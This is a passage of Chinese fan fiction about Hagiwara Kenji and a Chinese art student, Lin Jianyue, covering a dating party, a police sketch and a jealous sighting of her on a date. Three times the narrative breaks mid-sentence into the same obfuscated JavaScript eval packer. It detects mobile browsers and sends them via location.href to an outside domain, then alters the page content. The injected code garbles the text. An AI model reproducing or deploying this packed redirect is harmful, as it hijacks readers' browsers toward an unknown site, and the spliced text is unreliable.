『没关系,您能让我参加,我已经很高兴了。』林见月边保存好电脑里未完工的研二画像,边发出客套的回复。 林见月时常在日剧里看到联谊的场景,就像校园祭是日漫一环,联谊几乎成为了过半日剧必不可少的情结。她没多少机会体验校园祭了,但她很乐意体验一次日式联谊。 林见月不喜欢日本人过分繁缛的礼节,好在宫本由美也是个不喜欢客套的人,三两句便终结了话题。 林见月关掉和宫本由美的聊天界面,退回主页。却在瞥见被她置顶的几个联系人时,瞳孔骤缩,不悦的情绪开始在胸口搅动。 最近聊天列表里,被她置顶的账号有三个:哥哥、老爸老妈。 日本和中国使用不同的通讯软件,但林见月的父母经常被工作牵着满世界跑,全家都有LINE账号。 老爸的LINE头像是他的半身像照片——抹满发蜡的乌发被梳向后方,露出光洁的额头。黑西装,真钻领针,手里拎着一把价格昂贵的小提琴。他姿势随意得像在展示一件普通物品,却又故意露出小提琴上的斯特拉迪瓦里的标志。 斯特拉迪瓦里琴是小提琴界有市无价的顶尖艺术品,现存数量成谜,但绝不会超过两位数。 没人会以这种随意的姿势拎斯特拉迪瓦里小提琴,除非那是一把假货。但林见月很清楚,她父亲手里的东西货真价实,他只是爱显摆。 记忆里,拍完头像上的这张照片,父亲再也绷不住脸上装出来的得体。他马不停蹄地把小提琴送回防弹玻璃造的保险柜里,小心翼翼用专用帕子反复擦拭。 回忆起当面父亲的嘴脸,林见月沉下脸来,嘴角也跟着微微下垂。 她点开和父亲的聊天界面,最后一次对话停留在半年前,她刚落地日本时。 『有种你别回来!我等你看你死在外面!』 『不回就不回!!』 第二条消息是她发过去的,后面还紧跟着一个红色的感叹号——她被这位血缘上的父亲拉黑了,只因她不顾父亲反对,拉着行李只身一人飞往日本求学。 屏幕上的文字刺得林见月眼睛酸涩,胃里泛起一阵恶心感。她当然不会回去,她要在这片土地上闯出名堂。 后槽牙被咬得咯咯响,用画笔描摹萩原研二的喜悦被冲得一干二净,取而代之地是无尽的愤怒和不甘。 她不能被父亲小看了去。 和父亲的下次见面,只能是在各大网站的采访节目上,她被闪光灯包围着接受属于她的荣耀的时候。 指尖在屏幕上停顿片刻,林见月退出聊天界面,丢下手机拐去卫生间。 完成一系列洗漱工作后,林见月穿着成套的短袖睡衣呈大字仰倒在双人床上。 按照习惯,她会在睡前打开推特,刷刷大佬们画了什么,再看看自己又涨了多少粉丝。 但作为一名小有名气的插画师,又是中国人,她偶尔会被一些国籍成迷的小号用英语辱骂或者挑刺,其中偶尔还夹杂着一些机翻。 今天心情不佳,林见月不想在睡前看到任何糟心的东西。她捞过枕头边的萩原研二的毛绒娃娃,用力蹭了两下:“拜托拜托,快出现吧。” 萩原研二已经很久没在她梦里出现过了。 国内的朋友调侃过,说林见月一定是爱画画超过了爱萩原研二,所以才不会再梦见他。 林见月对此只是不屑地撇撇嘴。 开什么玩笑,她对绘画的热情一直都比萩原研二高好吗。她冒着和父亲决裂的风险,孤身一人远赴日本,难道是为了体验萩原研二生活过的城市的风土人情吗? 当然不是。 她做的这一切都是为了她自己。 空调机源源不断地把冷空气送进卧室,林见月蜷缩在毯子里,冲着研二娃娃小声道了句晚安,合上眼。 * 联谊当天,宫本由美带来了位爆.炸物处理班的警官,姓田中。 “说好了会带一位机动队的警官来,我怎么能让新来的小妹妹失望呢。” 她坐到林见月身侧,笑眯眯地说着油嘴滑舌的话,随即朝招待所抬起手:“渴死我了,麻烦先给我来一杯冰啤酒!” 叫田中的男人在对面落座后,率先朝林见月伸出手:“你好,我叫田中律人,现任职于爆.炸物处理班,是行动队的小队长。” 他刻意将手腕朝林见月的方向侧了三十度,孔雀开屏般亮出卡地亚手表的表盘。 听见 “爆|炸物处理” 几个字,林见月瞳孔兴奋地缩了缩,却在看到对方悬在半空的手时垂眸避开了视线。 她不想和田中握手。 不只是握手,她不想和陌生异性有任何主观意识上的肢体接触。 她可以忍受在拥挤的地铁上被迫和异性肩并肩,但她不想和异性有诸如握手、拍肩这样的主观选择下的接触。 光是想到要和陌生男性掌心相贴,鸡皮疙瘩就已经顺着脊椎骨从头皮向身体扩散开,像有蚂蚁在爬。 林见月面上不动声色,小臂的汗毛已经根根倒竖,后背肌肉也慢慢收紧。 她不擅长处理人际关系。过去漫长的十余年学生生涯里,她被困在琴房日复一日的练习,没有多少出门社交实践的机会。 她不知道该如何巧妙地化解掉眼前的尴尬。 “抱歉打扰了,这是各位点的肥牛寿喜烧。”年轻的女招待生端着个盛满肉的小锅出现,恰到好处地打断了这场僵局。 田中坐在靠门的位置,他连忙收起手,为招待生腾出上菜空间。 见田中转移注意力,林见月暗自长舒一口气,身体重新放松下来。 接下来是一段枯燥的自我介绍环节。在座的四男四女并非全部都是警视厅的人,相互之间也并非全部认识。 后半段联谊还算顺利,无非就是吃饭、聊天,寻找共同话题。 宫本由美忙着喝酒,田中忙着朝她搭讪,其他五个人则各聊各的,场面意外地和谐。 林见月对田中不来电,但这不妨碍她杵着下巴,事无巨细地听田中吹捧他工作上的事。 在听到田中得意洋洋地炫耀自己能完成三十斤的负重训练,这是很多男警都做不到的事时,林见月咬着气泡水的吸管,眸光变得神采奕奕。 她忍不住想,如果是萩原研二,一定能扛着更重的东西,达成更好的成绩。说不定他能像梦里一样,单手就把她轻松托起。 听着田中毫无营养价值的吹嘘,林见月面上维持着礼貌的微笑,手指却开始不耐烦地在桌面轻轻敲击。 已经完全沉浸在自己世界里的男人自顾自说了一堆工作上的事,又向林见月展示了他自认为的「男人就该充满力量感」的手臂肌肉,才想起来要交换联系方式。 他掏出手机:“林,我们交换一个联系方式吧。” 林见月微笑着看向田中,没有直接表态。她对田中的印象有些差,他总是自说自话,滔滔不绝介绍自己的事,甚至几次打断她说话。 再者,初次见面时他不经意露出名牌手表的样子,会让她想起父亲。 光是想起那个和她有着血缘关系的男人,不好的情绪就会像阴湿的空气缠绕上来,压得她难受。 她讨厌这种感觉。 “你一定还没注册Line吧,”田中穷追不舍,甚至没耐心等林见月回答,“我帮你注册一个?” yige “我——” 林见月蹙眉正要拒绝,田中的手机上突然弹出条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920445|177045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讯息提醒,发件人的名字赫然显示在屏幕上。 林见月只来得及看清「队长」两个大字,田中便匆匆收回手机。 林见月疑惑蹙眉:“队长?” 她记得田中说过,他是爆|炸物处理班的队长。 田中讪笑一声,边查看信息内容,边思考该如何解释。 爆|炸物处理班的小队长,这是一个对年轻人来说十分了不得的职位,是很多人穷其一生都达不到的高度。想要爬到这个位置,必须具备优秀的拆弹知识和聪慧过人的胆识,心理素质也必须一流。 但在小队长之上,还有一个类似队长的职务。 警备部一课被划分成了9支机动队,爆|炸物处理班只是各个机动队里的一个小分支。给他发消息的人是警备部第一机动队的队长,是个了不得的天才。警备部成立几十年,就只出过这么两位升职像坐火箭的天才。 在那位队长的光辉衬托下,田中的成就像角落里积了厚厚一层灰的奖杯,变得一文不值。 田中为难地抿了抿唇,没有解释。他担心这可能会毁了他好不容易才建立起来的伟岸形象。 他觉着,林见月不了解日本的警察体系,万一她听了解释,以为爆|炸物处理班的队长只是个不起眼的基层小角色呢。 不行,难得遇到这么对胃口的女人,他不能让这种事破坏林见月对他的印象。 见田中迟迟未开口,宫本由美主动凑过来:“是警备部第一机动队的队长,田中所在的爆.炸物处理班属于第一机动队下辖,发消息的人是他的顶头上司。” 说完这句话,林见月敏锐地注意到田中变了脸色。 林见月不擅长人际交往,但她了解她的父亲,也了解和她父亲相似的男性。不过匆匆一眼,她便看懂田中的心思。 无非就是觉得被拆台,面子上过不去。他这样的男人,怎么可能容忍自己炫耀时,出现另一个可以压自己一头的人物。 特别是在陌生人联谊这种充满攀比意味的场合,被一个女人,在一群女人面前拆台。 林见月不认为这算拆台。 但对田中这样自负又自卑的男人而言,宫本由美的话就是拆台,而且是把他好不容易搭起的戏台拆得连根柱子都不剩。 见宫本由美还想再说,林见月连忙把手搭在她胳膊上,平静地岔开话题:“宫本,你刚刚吃的东西是什么?看上去很好吃的样子,我也想要一份。” 宫本由美不疑有他,立马热情地介绍起碗里的日本特色小吃。 林见月歪着头认真听宫本由美倾述,不动声色地瞥了田中一眼。 自认为被驳了面子的男人此时已经收敛好表情,歉意地冲在场几人笑笑:“抱歉,我出去回个电话。”随后离开席位。 田中的身影消失在林见月视野,宫本由美也恰好介绍完自己面前的日本小吃。她故作神秘地用手肘戳了戳林见月,笑着凑到她耳边低声耳语:“不瞒你说,刚刚给田中发短信的人就是我原本打算邀请的超级池面。那家伙是警视厅的超级人气王,性格好,人长得帅,情商还高。” 林见月登时来了几分兴致:“你说的超级池面,他高吗,有没有一米九?” 宫本由美思考着比划了两下:“我觉得可能有一九五。” 她双手捧脸,不遗余力地夸赞道:“他笑起来可蛊人了,那双下垂眼像融化的焦糖布丁,声音也甜腻腻的。” 林见月垂着的眼皮倏地抬起,睫毛像被风吹动般颤了颤,眸底里流转起动人的光晕:“宫本,要是下次这个池面参加了联谊,你可以邀请我吗?” “感兴趣?” “嗯。” 宫本由美却长叹一口气,满脸遗憾:“不过他意料之外的是个痴情种。都被女朋友甩了小两个月了,还恋恋不舍的,估计短时间内都不会参加联谊。” 说罢,她又变了副语调,神神秘秘地把手搭在嘴边:“不过我可以带你去悄悄见他。” 林见月有些犹豫:“这不太好吧。” “有什么关系,反正只是看一眼。” 林见月好奇:“怎么做?” “我偶尔会逮到他违反交通规则。如果是违停,他就需要去附近的警局处理罚单。到时候我电话通知你,你去我说的警局等着,准能碰见他。” “……”林见月一时语塞。 ……倒也不必为了一个代餐,做到这种程度。 林见月不方便说出心里话,她盯着宫本由美,正酝酿推辞,余光倏然瞥见田中去而复返。 她担心田中再次向她索要联系方式,连忙冲宫本由美低声道:“抱歉宫本,我肚子不太舒服,感觉像生理期提前了。” 她做出为难的样子,一双眉蹙作一团:“我是容易痛经的体质,可以先回去吗?” 宫本由美大大咧咧地挥了挥手:“没事,不舒服就快回去吧。” 得到允许,林见月装作没注意到田中的身影,低着头快步从另一个方向离开。 5. 独家 萩原研二见到了公安部派来的画像师。 本以为会磨很久,但画像师只用了三五笔就准确勾勒出林见五月的轮廓。整个过程只用了五分钟,画像师甚至不需要对画像进行二次涂抹修改。 萩原研二惊叹地看向已完成的画:“这么快?” 画像师收拾炭笔的动作顿了顿:“这都归功于萩原警官的准确描述。” 他将绘画工具全部装进文具袋里:“以往的目击者总说‘大概’‘好像’,根本无法准确描述目标的长相,需要在我画好后再对着画像反复提出修改意见。只有您,快连她睫毛的根数都记清楚了。” 萩原研二笑了笑,没有继续搭话。 林见月从梦中消失的这半年,他曾无数次在脑海中描摹她的脸。千百次演练在前,他怎么可能会失误。 画像师没有管沉默的萩原研二,他转身准备把画从画板上抽下来时,萩原研二突然伸手按住了画,遏制住他收画的动作。 作为警衔更高的上位者,萩原研二在对上画像师疑惑的目光时,难得露出拘谨的一面——虽然也有可能是他故意示弱:“我有一个不情之请。” “萩原警官您太客气了,有什么我能帮上忙的,您尽管说。” “可以把这幅画送给我吗?” 画像师面露难色:“这……这恐怕不太符合规定……” 萩原研二语气温和,眼底却有着不容拒绝的坚持和哀求:“公安部的存档画像只需要电子版,我会把这幅画锁进我卧室的抽屉里,没有人会发现。拜托了,能通融一下吗?” 他当然知道公安部的独特性和在办案时的特权,他在试探对方的底线,以此判断事情的严重性,同时也想为自己争取点什么。 无形的压力缓缓溢开,画像师缩了缩脖子,试着把画从萩原研二手中抽离。他暗中发力,见对方没有松手的意思,只能作罢。 “这……我……”他吞吞吐吐好半天,始终吐不出一个完整的句子。 就在他不知所措时,萩原研二的手机铃声骤响,降谷零的声音从听筒处传了过来:“你就不要为难他了。我让风见向他下达了最高保密指令,他不可能把画留给你。” “这样啊……”萩原研二松了几分力。 趁着萩原研二松手的间隙,画像师慌忙从画板上扯下画,胡乱卷了两下,怕萩原研二反悔似的,提着东西就从大门窜了出去。 萩原研二没有追,他环顾一圈,弯腰在房间里搜寻起来。半分钟后,他在桌板底下挖出一枚微型摄像头。 萩原研二捏着摄像头,故意拖长了尾音:“真过分啊小降谷,居然监视我,你就这么不放心我吗。” 降谷零语调微扬,一副看惯损友伎俩的样子:“少来,这是为了揪出藏在公安部的内鬼才悄悄安装的。” 萩原研二笑了笑,把摄像头稳稳当当地装回原处,又关好隔音极好的房门,才向降谷零抛出心底愈演愈烈的不安和困惑:“你知道见月酱在哪?” “只知道她在东京,但我能肯定,她和你的世界正在融合。而且——”电话那头突然响起一声汽车鸣笛声,降谷零的话也随之一顿,调子变得急促,“我这边有事,回头再打给你。” 随即挂断电话。 萩原研二听着手机里急促的忙音,无由来地有些落寞。他推开窗,晨风带着几丝凉意灌进屋,吹乱乌发。 萩原研二望向遥远的天际线,视线飘在半空找不到落脚点。楼宇错落,人潮涌动,兴许此刻林见月就在某处他看不到的角落,忙忙碌碌。 回到警备部时,警视厅已经开工一个小时。萩原研二的下属们聚在机动一队的公共办公区域,围着田中听他瞎扯淡。 田中信誓旦旦:“我没有吹牛,她绝对喜欢我!” 有人起哄:“得了吧田中,你连人家联系方式都没要到,就这么肯定她喜欢你?” 田中试图辩解:“是真的!她真的喜欢我!你都不知道她看我的时候有多认真深情!” 又有人问:“比起这个,你先说说她是个什么样的人。” 萩原研二需要横跨整个公共区域才能回到自己的办公室,他已经荣升为警视,只比警备部部长低两级。 萩原研二对下属们谈论的相亲的话题兴致缺缺,只在远远路过时听了一耳朵。 他知道宫本由美找田中顶替了他的位置参加联谊——宫本由美人缘不错,男男女女都很乐意和她做朋友,她的八卦趣事也总是能快速传遍警视厅基层每个角落。 然而就在萩原研二把手搭在门把上,即将推门进屋时,田中远远传来的声音阻止了他离去的动作。 “是个超级可爱的中国留学生,好像是美术专业的,笑起来很甜!特别特别可爱!” 田中周围响起起哄声,其他人哄笑推搡着,说田中这是对人家女孩子一见钟情了。也有人调侃着,说看不出来啊,田中居然是个恋爱脑。 萩原研二倏地有些后悔。也许他该去参加联谊,万一田中口中的中国留学生就是林见月呢? 林见月和他提过,说她在为赴日读研做准备。 万一是她呢,万一因他一时犹豫,错过了与她相遇呢。他应该去的,哪怕只有万分之一的可能,他也该去逐一验证。 但萩原研二又随即释然,嘴角弯起一道无声的、自嘲的笑。 他为什么要去那场该死的联谊。 如果林见月真的是田中口中的留学生,那他算什么?被冷暴力分手的前男友? 万一中国留学生不是林见月,他去了联谊,日后见到林见月,他又要如何解释他的动机。 ——因为担心你会出现在联谊会上,所以决定去联谊会找你。 算了吧,这只会让他看上去像个三心二意的人渣。 办公室门被萩原研二推开,顺着逐渐变宽的门缝,隐约能窥见桌子上叠着两个待处理的蓝色文件夹。文件夹旁边是一个萩原研二造型的小娃娃,黑西装,头戴墨镜,只有半个巴掌大。 用林见月的说法,这玩意叫“努努”,是她那个世界的产物。 萩原研二不知道这东西是怎么出现在他的世界的。 林见月即将从他的梦境里消失的前一个月,她曾勾住他的皮带,将和他造型相似的小娃娃塞进他腰带的缝隙里:“这是给你的礼物。” “它和我长得好像,是你亲手做的吗?” “不是哦,这是官方出的周边努努,我一口气买了一大堆,能铺满一床。” “努努?” “就是毛绒小娃娃。” 萩原研二笑意温柔:“见月酱很喜欢?” 林见月拽住萩原研二的领带示意他弯腰,随即踮起脚尖在他脸颊落下一吻:“嗯,很喜欢。我曾无数次幻想过研二穿着帅气的黑西装站在我面前的样子,一定特别迷人。” 随即梦醒。 那日,萩原研二睁开眼时,脸颊还残留着林见月亲吻的温度。他起身准备喝杯水继续睡,却从鼓鼓囊囊的枕头底下摸出一个娃娃,是她塞在他皮带缝隙里的娃娃。 这就是娃娃出现在他的世界的全过程。 回忆结束。 此刻,萩原研二盯着桌面上被他视若珍宝的长成他的模样的娃娃,蓦然想起几分钟前降谷零的话。 「她和你的世界正在融合。」 萩原研二垂眸,睫毛在倒映着娃娃的紫眸处落下一道浅浅的阴影。他想,应该是从努努出现时起,他们的世界就已经开始融合。 萩原研二压下乱糟糟的思绪,回办公室处理了一会儿文件。再抬头,已经是机动队跑操训练的时间,并且已经过去一大半。 警备部不同其他部门,他们必须将身体机能保持在最佳状态,以应对随时可能发生的暴力冲突事件。 作为机动一队队长,萩原研二可以自主选择是参加训练,还是在旁观看指导。 他随手操起桌上整齐堆叠的各小队上交的训练计划表,翻了一圈,决定去田中所在的爆|炸物处理班巡视。 警备部的训练不如警校严格,萩原研二不会过多干预队员训练时的闲聊行为。 他到时,田中已经完成基础体能训练,在等待拆弹——警视厅能提供的模型炸弹数量有限,他们有时候得排队进行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920446|177045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或者干脆分成几队,分几天交叉训练。 田中穿着厚重的防暴服,杵着防暴盾,意犹未尽地和周围人继续分享联谊的话题。 萩原研二垂眸,兴致缺缺地正欲走进去,田中突然丢下一句爆炸性发言:“她叫林见月,Rin Mizuki,很好听的名字。” “等我追到她,就带人来给你们看。” 林见月的名字化作一道强烈的电流,在萩原研二脑子里炸开。耳边嗡嗡作响,天旋地转。 短短一瞬,无数荒诞的想法藤蔓般从心口生长蔓延开,死死缠住萩原研二,勒得他喘不过气来。 萩原研二想冲过去揪住田中的衣领,斥责他怎么能勾搭别人的女朋友,居然还妄想把人追到手。 去他爹的一见钟情,他不许! 但萩原研二随即泄气,像膨胀的气球被人突然用针扎了个洞。 他能感受得到。 林见月对他的爱真真切切,不容置喙,但她从未把他视作可以结婚,共同孕育后代,然后相伴一生的存在。哪怕她无数次环着他的腰,仰头凝视着他的眼睛说要和他结婚。 要不是某次亲吻林见月的唇时,他的手机上突然出现…… 不然他也不会下定决心缠上去、黏住她,哪怕他们暂时只能在梦里相见。 侃侃而谈的田中率先发现了萩原研二,他倏然绷直身体,朝萩原研二鞠躬:“萩原队长!” 原先还有些松散的爆.炸物处理班警察也纷纷进入忙碌状态,像极了办公室里摸鱼时老板突然出现的员工。 “放松些,不用这么紧绷,”萩原研二随意地挥了挥手,脸却黑得吓人。 他从角落里拖来一把带靠背的椅子,往炸弹面前一坐:“你们继续,就当我不存在,不用管我。” “……” 爆|炸物处理班众人沉默两秒,齐刷刷低下头。开什么玩笑,萩原研二现在身上的怨气比鬼都大,压得其他人都快喘不过气来了,他们根本不可能当他不存在。 但没人敢对萩原研二的话提出质疑,他们只能埋着头,尽量用身体挡住萩原研二的视线,颤颤巍巍开始拆模型弹。 对于他们这群只能拿到80分的家伙而言,被天才盯着完成课业,是一件会让人压力倍增的事。如果这位天才还是能决定自己升迁情况的顶头上司,就更可怕了。 正排队拆弹的一名警察悄悄用余光扫了眼萩原研二的表情,不经意对撞视线,吓得立马低下头来,津津冷汗爬满后背。 昨天他还在和隔壁二队的同事炫耀,说自家上司脾气好。不像松田警官,动不动就拉着个脸,靠气场把人碾在地上。现在倒好,萩原研二杵着下巴坐在他们面前冷着脸飘黑气,压迫感更强了。 不消半分钟,被萩原研二凝视的拆弹警察们便大汗淋漓,衬衣黏糊糊地被冷汗浸湿,挂在后背。 萩原研二反坐在椅子上,杵着自己的脸,盯着被下属们拆解掉的炸弹,心思却飘去别的地方。 他又想到了昨天错过的联谊会。 没关系的萩原研二。他忍不住想。 林见月只是背着他偷偷参加联谊,又不是背着他找了新男朋友,他干嘛要生气。日本联谊和中国联谊不同,并非都是抱着相亲的目的,也有很多是交友联谊局。 林见月刚来日本,人生地不熟,通过联谊的方式结交新朋友,这再正常不过了。 萩原研二半垂眼帘,开始为林见月找补。他心事重重,看似完全沉浸在自己的思绪里,却一心二用地将下属所有拆弹操作尽收眼底。 他突然出声,冲面前把钳子搭在蓝线上的下属道:“想清楚再剪,这要是真的拆|弹现场,我们已经被你炸死了。” 正在模拟拆弹的警员被吓得一激灵,受惊小鸡般看向萩原研二:“我、我……抱歉萩原警视,我会注意的。” 面前下属畏首畏尾的样子,今天看起来格外碍眼。萩原研二叹了口气,也没心情继续待下去了。 他从椅子上起身,决定回去继续处理公文:“时间差不多了,你们先去吃饭吧,下午再继续训练。”说完便头也不回地离开。 6. 独家 午休时间已经过去快半个小时,用完餐的机动队队员三三两两地回到办公区。 萩原研二没去吃午饭,他躲在办公室给松田阵平打电话,洋洋洒洒抱怨了七分钟。 同样升职为机动队队长的松田阵平今天轮休,正懒散地坐在宿舍阳台上晒太阳。他用尾指掏了掏听电话的那只耳朵:“萩,你现在好像一个被女人狠狠玩弄后抛弃的弃夫。” 电话那头陷入漫长的安静,然后是萩原研二破防的声音:“小阵平你怎么这样,我们的幼驯染情呢?真想把你捆起来打包丢给降谷零,让他狠狠揍你一顿。” 松田阵平无所谓地“嘁”了一声:“你当还是七年前刚入学的时候吗,我和降谷零已经不会因为那种幼稚的原因打架了。” “但他肯定很乐意参与一切能揍你的娱乐活动。” “啧,你倒是振作一点啊。既然已经知道她在哪了,干嘛不直接出击?” “我当然要出击,但小降谷说让我等他联系,我不敢擅自给他打电话。” “去酒吧找他?” “我打电话问过,今天他休息,值班的是其他调酒师。” “那田中的事,你打算怎么办?” 萩原研二眼睑半垂,漂亮的紫眸蒙上层灰蒙蒙的阴影。他抬手揉了两下眉心,忍受着胃部传来的不适感,从座位上站起身:“我不会就这么算了的,我谋划了这么久,绝不可能善罢甘休。” 不过在此之前,他需要先去走道尽头的自动贩卖机处买两袋速食品,塞满胃部。 然而萩原研二刚拉开办公室门,便猝不及防地听到田中斗志昂扬的声音:“我现在就去找宫本,我一定会要到她的电话!你们就等我好消息吧!” 萩原研二半边身子已经探出办公室,他骤停,回头看向办公区域另一边正聊得热火朝天的下属们,沉默一瞬,逃似的转身重新躲回办公室。 隔着手机,松田阵平也听到了田中的话。他忍不住关切:“萩,你没事吧?” 漫长的让人焦灼的沉默过后,萩原研二的声音沉沉传来:“阵平。” 萩原研二心情极差,甚至没办法用调皮的口吻像以往那样喊他「小阵平」。 萩原研二道:“其实我隐约猜到了林见月进入这个世界的可能性,甚至整件事都是我特意主导的。” “但不管是梦境还是现实,见月都没有再出现,这种失控感让我越来越焦躁不安,也怀疑起自己的判断。幸好零给我打来电话,给了我一个明确的答案。” “……你主导的?” 一声叹息,而后才是萩原研二疲惫的声音:“之后再和你解释,我现在有点累,想自己待着。” 松田阵平默了一瞬,没有为难:“行吧,你随时可以给我打电话。” 电话挂断后,偌大的办公室便只剩沉默。 薄薄的一扇门,一堵墙,一间方格小屋,将萩原研二和屋外围着田中起哄的下属们分隔开。半边热闹,半边落寞。 屋外的人不停起哄,让田中赶紧联系宫本由美,通过她的关系把女孩子约出来。笑声却顺着敞开的窗户钻进屋,爬进萩原研二耳朵里,让他莫名烦躁。 萩原研二垂眸思索,正欲给宫本由美发去条信息,手机上倏然弹出对方发来的消息: 『抱歉啊田中君,她说今晚要去参加首映典礼,没办法接受你的邀请。』 『“消息已被撤回。”』 『抱歉萩原警官,我回错人了。』 * 晚上八点半,天空下起连绵阴湿的小雨。 雨滴淅淅沥沥,在黑西装肩头洇出深浅不一的印子。 萩原研二的衣服大都色彩明艳又不失分寸,曾被松田阵平吐槽随便抓一套就能去为男性时尚杂志拍封面图。 但半年前,萩原研二特意花大价钱,按照娃娃身上衣服的款式,量身定做了一套看上去略显沉闷单调的高档黑西装。 这套黑西装被萩原研二悬挂在衣柜最深处,直至今日,才第一次穿上身。 发梢被雨浸湿,萩原研二没带伞,只能钻进24小时便利店里。 他随便买了盒卖剩下的黏着冰碴子的便当,坐在窗边,隔着被雨打湿的玻璃,盯着涌动的人流发呆。 街道人来人往,情侣们共撑在同一把伞下,挽着胳膊嬉笑着从萩原研二面前经过。 用微波炉简单加热过的米饭咬起来口感极差,菜叶也被冻得失去水分。 萩原研二随便扒了几口便失去食欲,哪怕他的肚子还在咕噜噜叫。 下午下班前,萩原研二向宫本由美打听过消息林见月的消息。但对方揶揄地调侃了他一顿,让他下次务必要参加联谊,便挂断了电话。 坏消息是他没能从宫本由美嘴里挖到有用的消息。 好消息是田中也没挖到。 他们被宫本由美一视同仁地拒绝了。 平时嘴上不把门,什么都往外说的女人,在面对女性隐私时反而展现出警察该有的保密素养,守口如瓶。 大雨哗啦啦下个不停,萩原研二杵着下巴,望向被雨帘模糊的街道发呆。 萩原研二查过,今天东京一共有三场首映礼。分别在三个不同的地方,开始的时间也各不相同。 他拒绝了松田阵平的晚饭邀请,像个特种兵一样到处赶场,结果几个小时过去,就只收获了一张交通罚单。 雨势渐缓,只下了半个小时便草草收尾。萩原研二看了眼时间,起身离开便利店。 太阳已经完全落山,被大雨洗礼过的街道热闹依旧。路边的水洼倒映出萩原研二行色匆匆的身影,寒气顺着袖口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920447|177045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往里钻。他给宫本由美打去电话,只听到无尽的忙音,这位女警大概又去喝酒了。 不适感像一锅逐渐煮沸的水,开始在胃里翻滚。萩原研二蹙眉,强压下尖锐的饥饿感,给松田阵平打去个电话:“你明天是不是休息?陪我去喝酒。” “你疯了?”松田阵平尾调微微上扬,“我确实不上班,但明天你要值班。喝酒?今晚?” “嗯,我饿到现在了。” “你就不怕明天有紧急情况?” “我吃饭,你替我喝。” ……神经。 松田阵平默声骂了几句,转而说起其他事:“我看你下班还特意回宿舍换衣服,还以为你要去约会。” “不是约会,但确实计划给见月一个惊喜。” 松田阵平诧异道:“你知道她在哪里?” “不知道。” “……” “不过她今天要去首映礼。” 松田阵平瞬间领悟萩原研二的意思,这家伙肯定是挨个地方蹲点去了。松田阵平忍不住点评:“萩你怎么像个阴湿男鬼一样。” 松田阵平本以为萩原研二会拖长尾音为自己辩驳,和他互损几句后丢出个居酒屋的名字,让他去那里等着。但电话那头倏然沉寂,连走路时皮鞋落地的脆响也一并消失不见,只余背景里车子经过时的声音。 突如其来的诡异寂静让松田阵平收敛笑意:“抱歉萩,我不该在这种时候开你玩笑。” 萩原研二没有理他。 就在松田阵平思考着该怎么道歉时,电话那头传来萩原研二的声音。他咬牙切齿,从牙缝里挤出三个字:“找到了。” “嗯?” “我找到林见月了。” 脚步声重新响起,伴随着萩原研二逐渐粗重的呼吸声,隐隐压制着即将喷薄的怒意。他死死瞪着街对面挽住男人胳膊的林见月,目眦尽裂。 月色在林见月脸上落下温柔的光泽,她看向身侧男人的目光和在梦里看向萩原研二时别无二致。男人似乎说了什么,逗得林见月低下头来,她脸上的笑意晃得萩原研二眼睛疼。 “你绝对不敢相信我看到了什么,该死!林见月居然在街对面和其他人约会。”萩原研二死死攥住手机,青筋突起,后槽牙被咬得咯咯响。 “萩你冷静一下,说不定是误会。你先——” 松田阵平尚未来得及找到合适的宽慰的话,手机这头先情况骤变。 萩原研二看到街对面,男人突然捧起林见月的脸,深情款款地冲她低下了头。 在看到林见月回应地闭上眼的瞬间,萩原研二大脑嗡的一声,理智全无。 下颚线肌肉抽动两下,他越过公路边的护栏,径直穿过没有斑马线的城市主干道,在一阵尖锐的刹车声中直奔林见月而去。 7. 独家 “宝宝,小心积水。” 「男人」体贴地把林见月往他怀里拽了一把,避开地上堆积的污水坑。 林见月顺其自然地挽住「男人」的手,身体也倚向「他」。 被林见月挽住的「男人」比她高了约莫半个头,一头乌发,脸上化着不易察觉的淡妆。「他」操着一口标准流利的东京腔,声音低沉,乍一看和长相帅气的成年男性没什么区别。 但「他」是个女人,是林见月的朋友为庆祝她终于脱离林父掌控,特意约的高价委托,说是惊喜礼物。 「他」扮演的角色不是萩原研二,但也是林见月喜欢的人,是她同样曾数次口嗨想要结婚的对象。 这是一场不错的约会体验,但再过十分钟,委托就会结束。 连续不断的精神高压转化成情绪,逐渐变得粘稠。林见月定定望着眼前人,又好似在透过「他」看向她纯白的精神寄托之地。 她付出了足够大的代价,近乎掉了一层皮,才来到日本,成为她崇拜的知名插画师的学生。 就像每一个被独裁者掌控的孩子,林父撕掉了她所有纸质画作,砸毁她所有手办制品,一刀刀剪掉她所有的毛绒娃娃。 她买了十个黑西装萩原研二的娃娃,铺满一床,却被林父全部剪了个稀碎。 她永远记得剪刀在她面前合拢的画面,布偶娃娃的脑袋掉落在地,滚着圈停着她脚边,头身分离。 而这一切的起因,仅仅是林见月对林父的要求说了不。 